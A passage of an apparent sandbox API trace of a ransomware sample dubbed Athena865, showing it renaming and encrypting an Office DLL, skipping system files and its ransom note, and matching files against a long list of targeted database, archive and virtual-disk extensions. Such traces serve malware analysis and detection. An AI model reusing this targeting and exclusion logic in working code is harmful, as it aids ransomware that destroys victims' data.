(x86)\\Microsoft Office\\Office14\\INLAUNCH.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\inlaunch.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\INLAUNCH.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\inlaunch.dll.athena865"), dwFlags=0x1) returned 1 [0094.270] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\INLAUNCH.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\inlaunch.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.270] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=403832) returned 1 [0094.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.270] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.271] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.271] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.271] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x62c80, lpName=0x0) returned 0x17c [0094.273] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x62c80) returned 0x2d50000 [0094.290] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.291] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.291] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.292] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0094.295] CloseHandle (hObject=0x17c) returned 1 [0094.295] CloseHandle (hObject=0x154) returned 1 [0094.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.297] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4e2500, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x21ccb710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf4e2500, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x13180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".") returned 1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="..") returned 1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="windows") returned -1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="bootmgr") returned 1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="temp") returned -1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="pagefile.sys") returned -1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="boot") returned 1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="ids.txt") returned 1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="ntuser.dat") returned -1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="perflogs") returned -1 [0094.297] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="MSBuild") returned 1 [0094.297] lstrlenW (lpString="MSOHEV.DLL") returned 10 [0094.297] lstrcpyW (in: lpString1=0x241e8aa, lpString2="MSOHEV.DLL" | out: lpString1="MSOHEV.DLL") returned="MSOHEV.DLL" [0094.297] lstrlenW (lpString="MSOHEV.DLL") returned 10 [0094.297] lstrlenW (lpString="Athena865") returned 9 [0094.297] lstrcmpiW (lpString1="SOHEV.DLL", lpString2="Athena865") returned 1 [0094.298] lstrlenW (lpString=".dll") returned 4 [0094.298] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".dll") returned 1 [0094.298] lstrlenW (lpString=".lnk") returned 4 [0094.298] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".lnk") returned 1 [0094.298] lstrlenW (lpString=".ini") returned 4 [0094.298] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".ini") returned 1 [0094.298] lstrlenW (lpString=".sys") returned 4 [0094.298] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".sys") returned 1 [0094.298] lstrlenW (lpString="MSOHEV.DLL") returned 10 [0094.298] lstrlenW (lpString="bak") returned 3 [0094.298] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0094.298] lstrlenW (lpString="ba_") returned 3 [0094.298] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0094.298] lstrlenW (lpString="dbb") returned 3 [0094.298] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0094.298] lstrlenW (lpString="vmdk") returned 4 [0094.298] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0094.298] lstrlenW (lpString="rar") returned 3 [0094.298] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0094.298] lstrlenW (lpString="zip") returned 3 [0094.298] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0094.298] lstrlenW (lpString="tgz") returned 3 [0094.298] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0094.298] lstrlenW (lpString="vbox") returned 4 [0094.298] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0094.298] lstrlenW (lpString="vdi") returned 3 [0094.298] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0094.298] lstrlenW (lpString="vhd") returned 3 [0094.298] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0094.298] lstrlenW (lpString="vhdx") returned 4 [0094.298] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0094.299] lstrlenW (lpString="avhd") returned 4 [0094.299] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0094.299] lstrlenW (lpString="db") returned 2 [0094.299] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0094.299] lstrlenW (lpString="db2") returned 3 [0094.299] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0094.299] lstrlenW (lpString="db3") returned 3 [0094.299] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0094.299] lstrlenW (lpString="dbf") returned 3 [0094.299] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0094.299] lstrlenW (lpString="mdf") returned 3 [0094.299] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0094.299] lstrlenW (lpString="mdb") returned 3 [0094.299] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0094.299] lstrlenW (lpString="sql") returned 3 [0094.299] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0094.299] lstrlenW (lpString="sqlite") returned 6 [0094.299] lstrcmpiW (lpString1="EV.DLL", lpString2="sqlite") returned -1 [0094.299] lstrlenW (lpString="sqlite3") returned 7 [0094.299] lstrcmpiW (lpString1="HEV.DLL", lpString2="sqlite3") returned -1 [0094.299] lstrlenW (lpString="sqlitedb") returned 8 [0094.299] lstrcmpiW (lpString1="OHEV.DLL", lpString2="sqlitedb") returned -1 [0094.299] lstrlenW (lpString="xml") returned 3 [0094.299] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0094.299] lstrlenW (lpString="$er") returned 3 [0094.299] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0094.299] lstrlenW (lpString="4dd") returned 3 [0094.299] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0094.299] lstrlenW (lpString="4dl") returned 3 [0094.299] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0094.299] lstrlenW (lpString="^^^") returned 3 [0094.300] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0094.300] lstrlenW (lpString="abs") returned 3 [0094.300] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0094.300] lstrlenW (lpString="abx") returned 3 [0094.300] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0094.300] lstrlenW (lpString="accdb") returned 5 [0094.300] lstrcmpiW (lpString1="V.DLL", lpString2="accdb") returned 1 [0094.300] lstrlenW (lpString="accdc") returned 5 [0094.300] lstrcmpiW (lpString1="V.DLL", lpString2="accdc") returned 1 [0094.300] lstrlenW (lpString="accde") returned 5 [0094.300] lstrcmpiW (lpString1="V.DLL", lpString2="accde") returned 1 [0094.300] lstrlenW (lpString="accdr") returned 5 [0094.300] lstrcmpiW (lpString1="V.DLL", lpString2="accdr") returned 1 [0094.300] lstrlenW (lpString="accdt") returned 5 [0094.300] lstrcmpiW (lpString1="V.DLL", lpString2="accdt") returned 1 [0094.300] lstrlenW (lpString="accdw") returned 5 [0094.300] lstrcmpiW (lpString1="V.DLL", lpString2="accdw") returned 1 [0094.300] lstrlenW (lpString="accft") returned 5 [0094.300] lstrcmpiW (lpString1="V.DLL", lpString2="accft") returned 1 [0094.300] lstrlenW (lpString="adb") returned 3 [0094.300] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.300] lstrlenW (lpString="adb") returned 3 [0094.300] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.300] lstrlenW (lpString="ade") returned 3 [0094.300] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0094.300] lstrlenW (lpString="adf") returned 3 [0094.300] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0094.300] lstrlenW (lpString="adn") returned 3 [0094.300] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0094.300] lstrlenW (lpString="adp") returned 3 [0094.300] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0094.300] lstrlenW (lpString="alf") returned 3 [0094.301] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0094.301] lstrlenW (lpString="ask") returned 3 [0094.301] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0094.301] lstrlenW (lpString="btr") returned 3 [0094.301] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0094.301] lstrlenW (lpString="cat") returned 3 [0094.301] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0094.301] lstrlenW (lpString="cdb") returned 3 [0094.301] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0094.301] lstrlenW (lpString="ckp") returned 3 [0094.301] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0094.301] lstrlenW (lpString="cma") returned 3 [0094.301] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0094.301] lstrlenW (lpString="cpd") returned 3 [0094.301] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0094.301] lstrlenW (lpString="dacpac") returned 6 [0094.301] lstrcmpiW (lpString1="EV.DLL", lpString2="dacpac") returned 1 [0094.301] lstrlenW (lpString="dad") returned 3 [0094.301] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0094.301] lstrlenW (lpString="dadiagrams") returned 10 [0094.301] lstrlenW (lpString="daschema") returned 8 [0094.301] lstrcmpiW (lpString1="OHEV.DLL", lpString2="daschema") returned 1 [0094.301] lstrlenW (lpString="db-journal") returned 10 [0094.301] lstrlenW (lpString="db-shm") returned 6 [0094.301] lstrcmpiW (lpString1="EV.DLL", lpString2="db-shm") returned 1 [0094.301] lstrlenW (lpString="db-wal") returned 6 [0094.301] lstrcmpiW (lpString1="EV.DLL", lpString2="db-wal") returned 1 [0094.301] lstrlenW (lpString="dbc") returned 3 [0094.301] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0094.301] lstrlenW (lpString="dbs") returned 3 [0094.301] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0094.301] lstrlenW (lpString="dbt") returned 3 [0094.301] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0094.302] lstrlenW (lpString="dbv") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0094.302] lstrlenW (lpString="dbx") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0094.302] lstrlenW (lpString="dcb") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0094.302] lstrlenW (lpString="dct") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0094.302] lstrlenW (lpString="dcx") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0094.302] lstrlenW (lpString="ddl") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0094.302] lstrlenW (lpString="dlis") returned 4 [0094.302] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0094.302] lstrlenW (lpString="dp1") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0094.302] lstrlenW (lpString="dqy") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0094.302] lstrlenW (lpString="dsk") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0094.302] lstrlenW (lpString="dsn") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0094.302] lstrlenW (lpString="dtsx") returned 4 [0094.302] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0094.302] lstrlenW (lpString="dxl") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0094.302] lstrlenW (lpString="eco") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0094.302] lstrlenW (lpString="ecx") returned 3 [0094.302] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0094.302] lstrlenW (lpString="edb") returned 3 [0094.303] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0094.303] lstrlenW (lpString="epim") returned 4 [0094.303] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0094.303] lstrlenW (lpString="fcd") returned 3 [0094.303] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0094.303] lstrlenW (lpString="fdb") returned 3 [0094.303] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0094.303] lstrlenW (lpString="fic") returned 3 [0094.303] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0094.303] lstrlenW (lpString="flexolibrary") returned 12 [0094.303] lstrlenW (lpString="fm5") returned 3 [0094.303] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0094.303] lstrlenW (lpString="fmp") returned 3 [0094.303] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0094.303] lstrlenW (lpString="fmp12") returned 5 [0094.303] lstrcmpiW (lpString1="V.DLL", lpString2="fmp12") returned 1 [0094.303] lstrlenW (lpString="fmpsl") returned 5 [0094.303] lstrcmpiW (lpString1="V.DLL", lpString2="fmpsl") returned 1 [0094.303] lstrlenW (lpString="fol") returned 3 [0094.303] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0094.303] lstrlenW (lpString="fp3") returned 3 [0094.303] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0094.303] lstrlenW (lpString="fp4") returned 3 [0094.303] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0094.303] lstrlenW (lpString="fp5") returned 3 [0094.303] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0094.303] lstrlenW (lpString="fp7") returned 3 [0094.303] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0094.303] lstrlenW (lpString="fpt") returned 3 [0094.303] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0094.303] lstrlenW (lpString="frm") returned 3 [0094.304] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0094.304] lstrlenW (lpString="gdb") returned 3 [0094.304] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0094.304] lstrlenW (lpString="gdb") returned 3 [0094.304] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0094.304] lstrlenW (lpString="grdb") returned 4 [0094.304] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0094.304] lstrlenW (lpString="gwi") returned 3 [0094.304] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0094.304] lstrlenW (lpString="hdb") returned 3 [0094.304] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0094.304] lstrlenW (lpString="his") returned 3 [0094.304] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0094.304] lstrlenW (lpString="ib") returned 2 [0094.304] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0094.304] lstrlenW (lpString="idb") returned 3 [0094.304] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0094.304] lstrlenW (lpString="ihx") returned 3 [0094.304] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0094.304] lstrlenW (lpString="itdb") returned 4 [0094.304] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0094.304] lstrlenW (lpString="itw") returned 3 [0094.304] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0094.304] lstrlenW (lpString="jet") returned 3 [0094.304] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0094.304] lstrlenW (lpString="jtx") returned 3 [0094.304] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0094.304] lstrlenW (lpString="kdb") returned 3 [0094.304] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0094.305] lstrlenW (lpString="kexi") returned 4 [0094.305] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0094.305] lstrlenW (lpString="kexic") returned 5 [0094.305] lstrcmpiW (lpString1="V.DLL", lpString2="kexic") returned 1 [0094.305] lstrlenW (lpString="kexis") returned 5 [0094.305] lstrcmpiW (lpString1="V.DLL", lpString2="kexis") returned 1 [0094.305] lstrlenW (lpString="lgc") returned 3 [0094.305] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0094.305] lstrlenW (lpString="lwx") returned 3 [0094.305] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0094.305] lstrlenW (lpString="maf") returned 3 [0094.305] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0094.305] lstrlenW (lpString="maq") returned 3 [0094.305] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0094.305] lstrlenW (lpString="mar") returned 3 [0094.305] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0094.305] lstrlenW (lpString="marshal") returned 7 [0094.305] lstrcmpiW (lpString1="HEV.DLL", lpString2="marshal") returned -1 [0094.305] lstrlenW (lpString="mas") returned 3 [0094.305] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0094.305] lstrlenW (lpString="mav") returned 3 [0094.305] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0094.305] lstrlenW (lpString="maw") returned 3 [0094.305] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0094.305] lstrlenW (lpString="mdbhtml") returned 7 [0094.305] lstrcmpiW (lpString1="HEV.DLL", lpString2="mdbhtml") returned -1 [0094.305] lstrlenW (lpString="mdn") returned 3 [0094.305] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0094.305] lstrlenW (lpString="mdt") returned 3 [0094.305] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0094.305] lstrlenW (lpString="mfd") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0094.306] lstrlenW (lpString="mpd") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0094.306] lstrlenW (lpString="mrg") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0094.306] lstrlenW (lpString="mud") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0094.306] lstrlenW (lpString="mwb") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0094.306] lstrlenW (lpString="myd") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0094.306] lstrlenW (lpString="ndf") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0094.306] lstrlenW (lpString="nnt") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0094.306] lstrlenW (lpString="nrmlib") returned 6 [0094.306] lstrcmpiW (lpString1="EV.DLL", lpString2="nrmlib") returned -1 [0094.306] lstrlenW (lpString="ns2") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0094.306] lstrlenW (lpString="ns3") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0094.306] lstrlenW (lpString="ns4") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0094.306] lstrlenW (lpString="nsf") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0094.306] lstrlenW (lpString="nv") returned 2 [0094.306] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0094.306] lstrlenW (lpString="nv2") returned 3 [0094.306] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0094.306] lstrlenW (lpString="nwdb") returned 4 [0094.306] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0094.307] lstrlenW (lpString="nyf") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0094.307] lstrlenW (lpString="odb") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0094.307] lstrlenW (lpString="odb") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0094.307] lstrlenW (lpString="oqy") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0094.307] lstrlenW (lpString="ora") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0094.307] lstrlenW (lpString="orx") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0094.307] lstrlenW (lpString="owc") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0094.307] lstrlenW (lpString="p96") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0094.307] lstrlenW (lpString="p97") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0094.307] lstrlenW (lpString="pan") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0094.307] lstrlenW (lpString="pdb") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0094.307] lstrlenW (lpString="pdm") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0094.307] lstrlenW (lpString="pnz") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0094.307] lstrlenW (lpString="qry") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0094.307] lstrlenW (lpString="qvd") returned 3 [0094.307] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0094.307] lstrlenW (lpString="rbf") returned 3 [0094.308] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0094.308] lstrlenW (lpString="rctd") returned 4 [0094.308] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0094.308] lstrlenW (lpString="rod") returned 3 [0094.308] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0094.308] lstrlenW (lpString="rodx") returned 4 [0094.308] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0094.308] lstrlenW (lpString="rpd") returned 3 [0094.308] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0094.308] lstrlenW (lpString="rsd") returned 3 [0094.308] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0094.308] lstrlenW (lpString="sas7bdat") returned 8 [0094.308] lstrcmpiW (lpString1="OHEV.DLL", lpString2="sas7bdat") returned -1 [0094.308] lstrlenW (lpString="sbf") returned 3 [0094.308] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0094.308] lstrlenW (lpString="scx") returned 3 [0094.308] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0094.308] lstrlenW (lpString="sdb") returned 3 [0094.308] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0094.308] lstrlenW (lpString="sdc") returned 3 [0094.308] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0094.308] lstrlenW (lpString="sdf") returned 3 [0094.308] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0094.308] lstrlenW (lpString="sis") returned 3 [0094.308] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0094.308] lstrlenW (lpString="spq") returned 3 [0094.308] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0094.308] lstrlenW (lpString="te") returned 2 [0094.308] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0094.308] lstrlenW (lpString="teacher") returned 7 [0094.308] lstrcmpiW (lpString1="HEV.DLL", lpString2="teacher") returned -1 [0094.308] lstrlenW (lpString="tmd") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0094.309] lstrlenW (lpString="tps") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0094.309] lstrlenW (lpString="trc") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0094.309] lstrlenW (lpString="trc") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0094.309] lstrlenW (lpString="trm") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0094.309] lstrlenW (lpString="udb") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0094.309] lstrlenW (lpString="udl") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0094.309] lstrlenW (lpString="usr") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0094.309] lstrlenW (lpString="v12") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0094.309] lstrlenW (lpString="vis") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0094.309] lstrlenW (lpString="vpd") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0094.309] lstrlenW (lpString="vvv") returned 3 [0094.309] 